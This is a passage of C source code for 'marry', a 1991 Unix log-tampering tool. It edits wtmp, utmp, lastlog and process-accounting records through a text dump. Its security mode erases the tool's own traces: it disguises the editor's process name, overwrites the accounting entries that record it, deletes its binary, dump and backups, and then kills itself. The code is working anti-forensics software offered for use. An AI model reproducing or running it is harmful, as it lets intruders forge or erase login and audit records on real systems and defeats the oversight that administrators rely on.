  1479.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1480.  
  1481.     sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
  1482.  
  1483. #endif
  1484.  
  1485. #ifdef UT_PID
  1486.  
  1487.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1488.  
  1489.     ut->UT_PID=atoi(tmp);
  1490.  
  1491. #endif
  1492.  
  1493. #if defined(UT_TIME) || defined(UT_TV)
  1494.  
  1495.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1496.  
  1497. #  ifdef UT_TIME
  1498.  
  1499.     if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
  1500.  
  1501. #  else /* UT_TV */
  1502.  
  1503.     if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
  1504.  
  1505. #  endif
  1506.  
  1507.         fprintf(stderr, "warning: invalid time spec %s", op);
  1508.  
  1509. #endif
  1510.  
  1511. #ifdef UT_ADDR
  1512.  
  1513.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1514.  
  1515.     ut->UT_ADDR=inet_addr(tmp);
  1516.  
  1517. #endif
  1518.  
  1519. #ifdef UT_HOST
  1520.  
  1521.     if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
  1522.  
  1523. #endif
  1524.  
  1525.     return 1;
  1526.  
  1527. }
  1528.  
  1529. #endif
  1530.  
  1531.  
  1532.  
  1533. #ifdef LASTLOG
  1534.  
  1535. int mod_lastlog(ll, p)
  1536.  
  1537. struct lastlog *ll;
  1538.  
  1539. char *p;
  1540.  
  1541. {
  1542.  
  1543.     char *op;
  1544.  
  1545. static char tmp[255];
  1546.  
  1547.     op=p;
  1548.  
  1549.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  1550.  
  1551.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
  1552.  
  1553.     if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
  1554.  
  1555.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1556.  
  1557.     if ((ll->ll_time=time_i(tmp))==(time_t)-1)
  1558.  
  1559.         fprintf(stderr, "warning illegal time: %s\n", op);
  1560.  
  1561. #ifdef LL_HOST
  1562.  
  1563.     if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
  1564.  
  1565. #endif
  1566.  
  1567.     return 1;
  1568.  
  1569. }
  1570.  
  1571. #endif
  1572.  
  1573.  
  1574.  
  1575. #ifdef PACCT
  1576.  
  1577. int mod_pacct(ac, p)
  1578.  
  1579. struct acct *ac;
  1580.  
  1581. char *p;
  1582.  
  1583. {
  1584.  
  1585. static char tmp[255];
  1586.  
  1587. struct passwd *pw;
  1588.  
  1589. struct group *gr;
  1590.  
  1591. char *op;
  1592.  
  1593. long int t;
  1594.  
  1595. unsigned int tu;
  1596.  
  1597.     op=p;
  1598.  
  1599.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  1600.  
  1601.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  1602.  
  1603.     if (sscanf(tmp, "%ld", &t)!=1)
  1604.  
  1605.     {
  1606.  
  1607.         if (!(pw=getpwnam(tmp)))
  1608.  
  1609.             fprintf(stderr, "warning: unknown username %s\n", op);
  1610.  
  1611.         else
  1612.  
  1613.             ac->ac_uid=pw->pw_uid;
  1614.  
  1615.     } else ac->ac_uid=t;
  1616.  
  1617.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; 
  1618.  
  1619.     if (sscanf(tmp, "%ld", &t)!=1)
  1620.  
  1621.     {
  1622.  
  1623.         if (!(gr=getgrnam(tmp)))
  1624.  
  1625.             fprintf(stderr, "warning: unknown group %s\n", op);
  1626.  
  1627.         else
  1628.  
  1629.             ac->ac_gid=pw->pw_gid;
  1630.  
  1631.     } else ac->ac_gid=t;
  1632.  
  1633.     if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
  1634.  
  1635.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1636.  
  1637.     if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
  1638.  
  1639.     else ac->ac_tty=tu;
  1640.  
  1641.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1642.  
  1643.     if (sscanf(tmp, "%x", &tu)!=1)
  1644.  
  1645.         fprintf(stderr, "warning: invalid flags %s\n", op);
  1646.  
  1647.     else ac->ac_flag=tu;
  1648.  
  1649.     if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  1650.  
  1651.     if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
  1652.  
  1653.         fprintf(stderr, "warning: illegal time: %s\n", op);
  1654.  
  1655.     return 1;
  1656.  
  1657. }
  1658.  
  1659. #endif
  1660.  
  1661.  
  1662.  
  1663. bool wcopy(uline)
  1664.  
  1665. int uline;
  1666.  
  1667. {
  1668.  
  1669.     if (!seek_ifh(uline)) return 0;
  1670.  
  1671.     while (fread(mode_data, mode_size, 1, ifh)>0)
  1672.  
  1673.     {
  1674.  
  1675.         display();
  1676.  
  1677. #ifdef PACCT
  1678.  
  1679.         if (f_Security && f_Auto && mode=='A')
  1680.  
  1681.         {
  1682.  
  1683.             struct acct *p; 
  1684.  
  1685.             p=(struct acct *)mode_data;
  1686.  
  1687.             if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
  1688.  
  1689.             {
  1690.  
  1691.                 ac_saved.ac_btime=p->ac_btime;
  1692.  
  1693.                 *p=ac_saved;
  1694.  
  1695.             }
  1696.  
  1697.         }
  1698.  
  1699. #endif
  1700.  
  1701.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  1702.  
  1703.     }
  1704.  
  1705. #ifndef NO_FTRUNCATE
  1706.  
  1707.     if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
  1708.  
  1709. #endif
  1710.  
  1711.     return 1;
  1712.  
  1713. }
  1714.  
  1715.  
  1716.  
  1717. bool domod(p)
  1718.  
  1719. char *p;
  1720.  
  1721. {
  1722.  
  1723. bool ret=0;
  1724.  
  1725.     if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  1726.  
  1727.     switch(mode)
  1728.  
  1729.     {
  1730.  
  1731. #ifdef UTMP
  1732.  
  1733.     case 'W':
  1734.  
  1735.         ret=mod_utmp(mode_data, p);
  1736.  
  1737.         break;
  1738.  
  1739. #endif
  1740.  
  1741. #ifdef LASTLOG
  1742.  
  1743.     case 'L':
  1744.  
  1745.         ret=mod_lastlog(mode_data, p);
  1746.  
  1747.         break;
  1748.  
  1749. #endif
  1750.  
  1751. #ifdef PACCT
  1752.  
  1753.     case 'A':
  1754.  
  1755.         ret=mod_pacct(mode_data, p);
  1756.  
  1757.         break;
  1758.  
  1759. #endif
  1760.  
  1761.     }
  1762.  
  1763.     if (!ret)
  1764.  
  1765.         fprintf(stderr, "warning: invalid dump input `%s'\n", p);
  1766.  
  1767.     return 1;
  1768.  
  1769. }
  1770.  
  1771.  
  1772.  
  1773. static wu_line=0;
  1774.  
  1775.  
  1776.  
  1777. int obj_update(uline, p, f_mod)
  1778.  
  1779. int uline;
  1780.  
  1781. char *p;
  1782.  
  1783. char f_mod;
  1784.  
  1785. {
  1786.  
  1787.     if (f_Squeeze)
  1788.  
  1789.     {
  1790.  
  1791.         display();
  1792.  
  1793.         seek_ifh(uline);
  1794.  
  1795.         if (f_mod) {if (!domod(p)) return 0;}
  1796.  
  1797.         else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  1798.  
  1799.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  1800.  
  1801.     } else {
  1802.  
  1803.         if (f_EditSrc)
  1804.  
  1805.         {
  1806.  
  1807.             if (f_mod)
  1808.  
  1809.                 fseek(ofh, mode_size*(uline-1), SEEK_SET);
  1810.  
  1811.         } else {
  1812.  
  1813.             while(++wu_line<uline)
  1814.  
  1815.             {
  1816.  
  1817.                 display();
  1818.  
  1819.                 if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  1820.  
  1821.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  1822.  
  1823.             }
  1824.  
  1825.         }
  1826.  
  1827.         if (f_mod)
  1828.  
  1829.         {
  1830.  
  1831.             seek_ifh(uline);
  1832.  
  1833.             if (!domod(p)) return 0;
  1834.  
  1835.             if (f_mod==2) wu_line--; 
  1836.  
  1837.         } else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  1838.  
  1839.         if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  1840.  
  1841.         display();
  1842.  
  1843.     }
  1844.  
  1845. #ifdef PACCT
  1846.  
  1847.     if (f_Security && f_Auto && !f_mod && mode=='A')
  1848.  
  1849.         if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
  1850.  
  1851. #endif
  1852.  
  1853.     return 1;
  1854.  
  1855. }
  1856.  
  1857.  
  1858.  
  1859. FVOID makeobject()
  1860.  
  1861. {
  1862.  
  1863. int uline=1;
  1864.  
  1865. char line[1024];
  1866.  
  1867. char *p;
  1868.  
  1869. char f_mod;
  1870.  
  1871.     if ((ifh=fopen(a_Input, "r"))==NULL)
  1872.  
  1873.     {
  1874.  
  1875.         perror(a_Input);
  1876.  
  1877.         exit(1);
  1878.  
  1879.     }
  1880.  
  1881.     if ((afh=fopen(a_Dump, "r"))==NULL)
  1882.  
  1883.     {
  1884.  
  1885.         perror(a_Dump);
  1886.  
  1887.         exit(1);
  1888.  
  1889.     }
  1890.  
  1891.     if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
  1892.  
  1893.     {
  1894.  
  1895.         perror(a_Output);
  1896.  
  1897.         exit(1);
  1898.  
  1899.     }
  1900.  
  1901. #ifdef PACCT
  1902.  
  1903.     if (f_Security && f_Auto && mode=='A')
  1904.  
  1905.         acct_step=(getpid()+8)%60;
  1906.  
  1907. #endif
  1908.  
  1909.     fputc('\n', stdout);
  1910.  
  1911.     globline=0;
  1912.  
  1913.     mes="entries assembled: ";
  1914.  
  1915.     while (1)
  1916.  
  1917.     {
  1918.  
  1919.         if (!fgets((p=line), sizeof(line), afh)) 
  1920.  
  1921.         {
  1922.  
  1923.             if (f_EditSrc)
  1924.  
  1925.             {
  1926.  
  1927. #ifndef NO_FTRUNCATE
  1928.  
  1929.                 if (f_Truncate)
  1930.  
  1931.                 {
  1932.  
  1933.                     fflush(ofh);
  1934.  
  1935.                     ftruncate(fileno(ofh), uline*mode_size);
  1936.  
  1937.                 }
  1938.  
  1939. #endif
  1940.  
  1941.                 goto closeup;
  1942.  
  1943.             }
  1944.  
  1945.             if (!f_Truncate) wcopy(uline+1);
  1946.  
  1947.             goto closeup;
  1948.  
  1949.         }
  1950.  
  1951.         switch (*p)
  1952.  
  1953.         {
  1954.  
  1955.         case 0:
  1956.  
  1957.         case '#':
  1958.  
  1959.         case '\n':
  1960.  
  1961.             continue;
  1962.  
  1963.         case '=': 
  1964.  
  1965.             f_mod=1; 
  1966.  
  1967.             p++; 
  1968.  
  1969.             break;
  1970.  
  1971.         case '+':
  1972.  
  1973.             if (f_EditSrc)
  1974.  
  1975.             {
  1976.  
  1977.                 if (f_Squeeze)
  1978.  
  1979.                     fprintf(stderr, "warning: the + operator can have \
  1980.  
  1981. unpredictable effects when used in conbination with -e and -s\n");
  1982.  
  1983.                 else
  1984.  
  1985.                 {
  1986.  
  1987.                     fprintf(stderr, "error: + operator used with -e\n");
  1988.  
  1989.                     exit(1);
  1990.  
  1991.                 }
  1992.  
  1993.             }
  1994.  
  1995.             f_mod=2;
  1996.  
  1997.             p++;
  1998.  
  1999.             break;
  2000.  
  2001.         default: {f_mod=0; break;}
  2002.  
  2003.         }
  2004.  
  2005.         if (sscanf(p, "%x", &uline)!=1)
  2006.  
  2007.         {
  2008.  
  2009.             perror("invalid line number in ascii input");
  2010.  
  2011.             exit(1);
  2012.  
  2013.         }
  2014.  
  2015.         uline++;
  2016.  
  2017.         if (!obj_update(uline, p, f_mod))
  2018.  
  2019.          {
  2020.  
  2021.             perror("read/write failed");
  2022.  
  2023.             exit(1);
  2024.  
  2025.         }
  2026.  
  2027.     }
  2028.  
  2029. closeup:
  2030.  
  2031.     display_end();
  2032.  
  2033.     fclose(ofh);
  2034.  
  2035.     fclose(ifh);
  2036.  
  2037.     fclose(afh);
  2038.  
  2039. }
  2040.  
  2041.  
  2042.  
  2043. FVOID usage(s)
  2044.  
  2045. char *s;
  2046.  
  2047. {
  2048.  
  2049.     fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]\n\
  2050.  
  2051. \t\t[-E editor] [-h program]\n", s);
  2052.  
  2053.     exit(1);
  2054.  
  2055. }
  2056.  
  2057.  
  2058.  
  2059. int main(argc, argv)
  2060.  
  2061. int argc;
  2062.  
  2063. char **argv;
  2064.  
  2065. {
  2066.  
  2067.     char *ed;
  2068.  
  2069.     char c;
  2070.  
  2071. #ifdef PACCT
  2072.  
  2073.     mode='A';
  2074.  
  2075. #endif
  2076.  
  2077. #ifdef LASTLOG
  2078.  
  2079.     mode='L';
  2080.  
  2081. #endif
  2082.  
  2083. #ifdef UTMP
  2084.  
  2085.     mode='W';
  2086.  
  2087. #endif
  2088.  
  2089.  
  2090.  
  2091.     puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");
  2092.  
  2093.     umask(022);
  2094.  
  2095.     while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)
  2096.  
  2097.     switch(c)
  2098.  
  2099.     {
  2100.  
  2101.         case 'i':
  2102.  
  2103.             a_Input=optarg;
  2104.  
  2105.             break;
  2106.  
  2107.         case 'o':
  2108.  
  2109.             a_Output=optarg;
  2110.  
  2111.             break;
  2112.  
  2113.         case 'd':
  2114.  
  2115.             a_Dump=optarg;
  2116.  
  2117.             break;
  2118.  
  2119.         case 'a':
  2120.  
  2121.             f_Auto=1;
  2122.  
  2123.             break;
  2124.  
  2125.         case 'e':
  2126.  
  2127.             f_EditSrc=1;
  2128.  
  2129.             break;
  2130.  
  2131.         case 't':
  2132.  
  2133.             f_Truncate=1;
  2134.  
  2135.             break;
  2136.  
  2137.         case 's':
  2138.  
  2139.             f_Squeeze=1;
  2140.  
  2141.             break;
  2142.  
  2143.         case 'p':
  2144.  
  2145.             a_Pattern=optarg;
  2146.  
  2147.             break;
  2148.  
  2149.         case 'v':
  2150.  
  2151.             f_Exclude=1;
  2152.  
  2153.             a_Pattern=optarg;
  2154.  
  2155.             break;
  2156.  
  2157.         case 'm':
  2158.  
  2159.             mode=*optarg;
  2160.  
  2161.             break;
  2162.  
  2163.         case 'u':
  2164.  
  2165.             f_Uid=1;
  2166.  
  2167.             break;
  2168.  
  2169.         case 'S':
  2170.  
  2171.             f_Security=1;
  2172.  
  2173.             break;
  2174.  
  2175.         case 'c':
  2176.  
  2177.             f_Clean=1;
  2178.  
  2179.             break;
  2180.  
  2181.         case 'D':
  2182.  
  2183.             f_DeleteSelf=1;
  2184.  
  2185.             break;
  2186.  
  2187.         case 'n':
  2188.  
  2189.             f_NoBackups=1;
  2190.  
  2191.             break;
  2192.  
  2193.         case 'E':
  2194.  
  2195.             a_Editor=optarg;
  2196.  
  2197.             break;
  2198.  
  2199.         case 'h':
  2200.  
  2201.             a_Hide=optarg;
  2202.  
  2203.             break;
  2204.  
  2205.         case 'b':
  2206.  
  2207.             a_Backup=optarg;
  2208.  
  2209.             break;
  2210.  
  2211.         case '?':
  2212.  
  2213.         default:
  2214.  
  2215.             fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);
  2216.  
  2217.             usage(argv[0]);
  2218.  
  2219.             /* NOT_REACHED */
  2220.  
  2221.     }
  2222.  
  2223.     if (a_Output && f_EditSrc)
  2224.  
  2225.     {
  2226.  
  2227.         perror("can't have -o and -e together");
  2228.  
  2229.         exit(1);
  2230.  
  2231.     }
  2232.  
  2233.     switch(mode)
  2234.  
  2235.     {
  2236.  
  2237. #ifdef UTMP
  2238.  
  2239.     case 'W':
  2240.  
  2241.         mode_size=sizeof(struct S_UTMP);
  2242.  
  2243.         mode_data=&s_utmp;
  2244.  
  2245.         if (!a_Input) a_Input=WTMP_FILE;
  2246.  
  2247.         break;
  2248.  
  2249. #endif
  2250.  
  2251. #ifdef LASTLOG
  2252.  
  2253.     case 'L':
  2254.  
  2255.         mode_size=sizeof(struct lastlog);
  2256.  
  2257.         mode_data=&s_lastlog;
  2258.  
  2259.         if (!a_Input) a_Input=LASTLOG_FILE;
  2260.  
  2261.         break;
  2262.  
  2263. #endif
  2264.  
  2265. #ifdef PACCT
  2266.  
  2267.     case 'A':
  2268.  
  2269.         mode_size=sizeof(struct acct);
  2270.  
  2271.         mode_data=&s_acct;
  2272.  
  2273.         if (!a_Input) a_Input=PACCT_FILE;
  2274.  
  2275.         break;
  2276.  
  2277. #endif
  2278.  
  2279.         default:
  2280.  
  2281.         fprintf(stderr, "unknown mode `%c'\n", mode);
  2282.  
  2283.         usage();
  2284.  
  2285.         /*NOT_REACHED*/
  2286.  
  2287.     }
  2288.  
  2289.     if (a_Pattern) uid=getpwnam(a_Pattern);
  2290.  
  2291.     if (uid) {uid_s=*uid; uid=&uid_s;}
  2292.  
  2293.     if (f_Auto)
  2294.  
  2295.     {
  2296.  
  2297.     struct stat st1, st2;
  2298.  
  2299.     int pid;
  2300.  
  2301.     int ws;
  2302.  
  2303.         if (stat(a_Editor, &st1))
  2304.  
  2305.         {
  2306.  
  2307.             fprintf(stderr, "error: editor `%s' must exist with -a (check -E value)\n", a_Editor);
  2308.  
  2309.             exit(1);
  2310.  
  2311.         }
  2312.  
  2313.         makedump();
  2314.  
  2315.         if (f_Security)
  2316.  
  2317.         {
  2318.  
  2319.             sprintf(ac_comm_hide, "m%d", getpid());
  2320.  
  2321.             symlink(a_Editor, ac_comm_hide);
  2322.  
  2323.             ed=ac_comm_hide;
  2324.  
  2325.         } else  ed=a_Editor;
  2326.  
  2327.  
  2328.  
  2329.         stat(a_Dump, &st1);
  2330.  
  2331.         if (!(pid=fork()))
  2332.  
  2333.         {
  2334.  
  2335.             printf("%s %s\n", ed, a_Dump);
  2336.  
  2337.             fflush(stdout);
  2338.  
  2339.             execlp(ed, ed, a_Dump, 0);
  2340.  
  2341.             perror(ed);
  2342.  
  2343.             _exit(1);
  2344.  
  2345.         }
  2346.  
  2347.         if (pid<0)
  2348.  
  2349.         {
  2350.  
  2351.             perror("fork");
  2352.  
  2353.             exit(1);
  2354.  
  2355.         }
  2356.  
  2357.         while (wait(&ws)!=pid);
  2358.  
  2359.         if (f_Security)
  2360.  
  2361.             unlink(ac_comm_hide);
  2362.  
  2363.         stat(a_Dump, &st2);
  2364.  
  2365.         if (st1.st_mtime==st2.st_mtime)
  2366.  
  2367.         {
  2368.  
  2369.             fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);
  2370.  
  2371.             exit(1);
  2372.  
  2373.         }
  2374.  
  2375.         if (!a_Output || !strcmp(a_Input, a_Output))
  2376.  
  2377.         {
  2378.  
  2379.             backup(a_Input);
  2380.  
  2381.             f_backedup=1;
  2382.  
  2383.             if (!a_Output) a_Output=a_Input;
  2384.  
  2385.             if (!f_EditSrc)
  2386.  
  2387.                 a_Input=a_Backup;
  2388.  
  2389.         }
  2390.  
  2391.         makeobject();
  2392.  
  2393.         if (f_Clean)
  2394.  
  2395.             unlink(a_Dump);
  2396.  
  2397.         if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  2398.  
  2399.     }
  2400.  
  2401.     else if (a_Output)
  2402.  
  2403.         {
  2404.  
  2405.             if (!strcmp(a_Input, a_Output))
  2406.  
  2407.             {
  2408.  
  2409.                 backup(a_Input);
  2410.  
  2411.                 f_backedup=1;
  2412.  
  2413.                 if (!f_EditSrc)
  2414.  
  2415.                     a_Input=a_Backup;
  2416.  
  2417.             }
  2418.  
  2419.             makeobject();
  2420.  
  2421.             if (f_Clean)
  2422.  
  2423.                 unlink(a_Dump);
  2424.  
  2425.             if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);
  2426.  
  2427.         } else
  2428.  
  2429.             makedump();
  2430.  
  2431.     if (f_DeleteSelf) unlink(argv[0]);
  2432.  
  2433.     puts("Done.");
  2434.  
  2435.     if (f_Security)
  2436.  
  2437.     {
  2438.  
  2439.         close(0);
  2440.  
  2441.         close(1);
  2442.  
  2443.         close(2);
  2444.  
  2445.         setsid();
  2446.  
  2447.         if (a_Hide)
  2448.  
  2449.         {
  2450.  
  2451.             execlp(a_Hide, a_Hide, 0);
  2452.  
  2453.             perror(a_Hide);
  2454.  
  2455.         }
  2456.  
  2457.         if (f_Security)
  2458.  
  2459.             kill(getpid(), SIGKILL);
  2460.  
  2461.     }
  2462.  
  2463.     exit(0);
  2464.  
  2465. }
  2466.  
  2467.